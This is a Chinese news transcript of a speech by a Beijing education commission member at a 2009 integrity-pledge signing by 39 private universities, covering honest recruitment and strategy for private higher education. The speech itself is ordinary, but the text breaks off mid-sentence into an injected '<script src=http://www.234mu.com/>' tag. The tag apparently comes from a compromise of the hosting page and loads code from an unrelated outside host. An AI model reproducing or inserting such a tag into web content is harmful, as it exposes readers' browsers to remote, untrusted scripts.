北京市教委委员杜松彭谈民办高校发展战略

时间:2022年10月16日    来源:民教网    阅读:0

    7月19日上午,由北京民办教育协会和北京市消费者协会教育系统分会组织,在北京会议中心举行了2009年北京市民办高校诚信公约签字仪式,北京市39所民办高校共同签订诚信公约,承诺诚信招生,不做虚假宣传。以下为本次会议实录。
  
    马学雷:最后我们请北京市教委杜松彭委员讲话!

  杜松彭:各位领导,同志们,新闻界的朋友们,大家上午好!

  今天,我和吴院长一起很高兴来参加北京民办高校诚信公约的签字及诚信招生展示启动仪式,和各位民办教育战线的同志们,社团办的同志们,市消费者协会的同志们,新闻界的朋友们一起见证39所北京民办高校共同签署2009年北京民办高校诚信公约。刚才,刘林会长和李明利主任都做了非常好的讲话,我听了以后也很受启发、很受教育,特别是刘林会长讲了他这么多年来办学的体会,给我们讲了诚信办学的重要性,我觉得他讲的是肺腑之言,对我们大家都有参考和借鉴意义,希望大家很好的结合自己学校的情况来体会一下。

  我在市教委工作是从98年开始,一直负责安全稳定工作,在很多方面和大家有过一定的接触。我觉得反映到到市教委层面的一些事情很多都是由不诚信引起的,很多到市教委上访的、聚众闹事的一些事情根上就是不诚信造成的,说得和做的不一致。这个教训我们要很好的吸取。

  刚才李主任也对我们大家提出了很殷切的希望,希望我们能够按照签订的《诚信公约》抓好落实,把9条诚信落实下来,诚信公约把我们能想到的不诚信的地方和容易出问题的每个环节都写到了,只要我们能够把这些落实,我相信在39所学校的带动下,其他的那些学校会在今年的招生和办学过程中发生非常大的变化。

  今天的活动非常重要,也是我们民办高校整体,以及民办教育协会一起对市教委对25所学校批评进行的表态,也是我们的态度,我觉得我们的态度是积极的。刚才我在看这里面被点名的几个学校参加这次诚信签约活动没有,我一看有些被点名学校参加了这次活动,我觉得这是一种积极的态度,是我们正视自己存在的问题,实际上我们是以诚信的形式拿出了我们的整改措施。被批评了,被点名了,第一我承认,第二我要进行整改,这次行动是一个机遇。这是我们对教委批评的一个很好的整改行动,今天只是迈开了第一步,下面就看我们做得怎么样,我们希望大家能够按照刘会长和李主任提到的,一诺千金,说出的话就要算,说出来就要落实。这39所学校的《公约》都会在媒体上登出来,我们要用自己的行动树立北京民办高校的整体形象。

  近年来,在市委市政府的正确领导和民办教育战线同志们的共同努力下,我市的民办高等教育事业得到了稳步的发展。市委教育工委市教委为推进民办教育的科学发展、特色发展,也采取了一系列的有效措施。总体来看,目前北京民办高校的办学条件在一定程度上得到了改善。办学行为逐步规范,教育质量和办学水平也在稳步的提高,办学形式呈现出多样化的特征。民办高校总体上保持了安全稳定的局面,特别是去年各民办高校齐心协力为平安奥运作出了积极的贡献。在取得成绩的同时,我们也要清醒的看到当前民办教育存在的问题,其中学校的发展思路和定位问题是北京民办教育发展面临的根本性问题,目前民办高校对这一问题还缺乏战略性的考虑。在未来的几年内,首都的经济水平、人口特征、产业结构以及城市化的水平,都将呈现新的变化,也必将影响北京民办高等教育的发展格局和发展的承诺。首都经济的快速发展和经济结构的进一步优化,不但对劳动者素质提出了更高的要求,也为民办教育进一步发展奠定了物质、经济基础。首都人口规模的总体稳定就要求民办高等教育的发展也应该有一个合理的规模。人口年龄结构的变化和外来人口的增加,使民办高等教育由结构趋同转向多样化办学,以满足不同的教育需求。产业结构和劳动力就业结构的调整,促使民办高等教育需要加快发展多样化的职业技术教育,更加重视对技术性职业人才的培养,城市居民收入和生活水平的提高,决定着民办高等教育发展的潜力。居民对高质量多样化的教育需求越强烈,越能为民办高等教育开辟新的发展领域和形式。首都经济社会的发展为民办教育创造了发展机遇,各个民办高校要牢牢地把握。

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  关于民办高等学校发展的思路和办学定位问题,我想提以下两点意见,供大家参考。

  第一,要走一条有首都民办教育特色的发展之路,强调特色,刚才刘会长讲话中也强调了特色。由于历史的原因,北京民办高校的发展缺乏统筹规划,民办高校的数量过多,层次、类型、功能过于单一。这既不符合教育发展规律,又影响民办高等学校的良性发展,学校的办学定位必须重新调整,否则没有发展。

  首都民办教育的发展一方面要注重差异性和延伸性,我们要办公办学校不能做还没有做的教育,我们要办靠民办机制能够做得更好的教育,这就是“人无我有”。另一方面要注重优质性和选择性?script src=http://www.234mu.com/>

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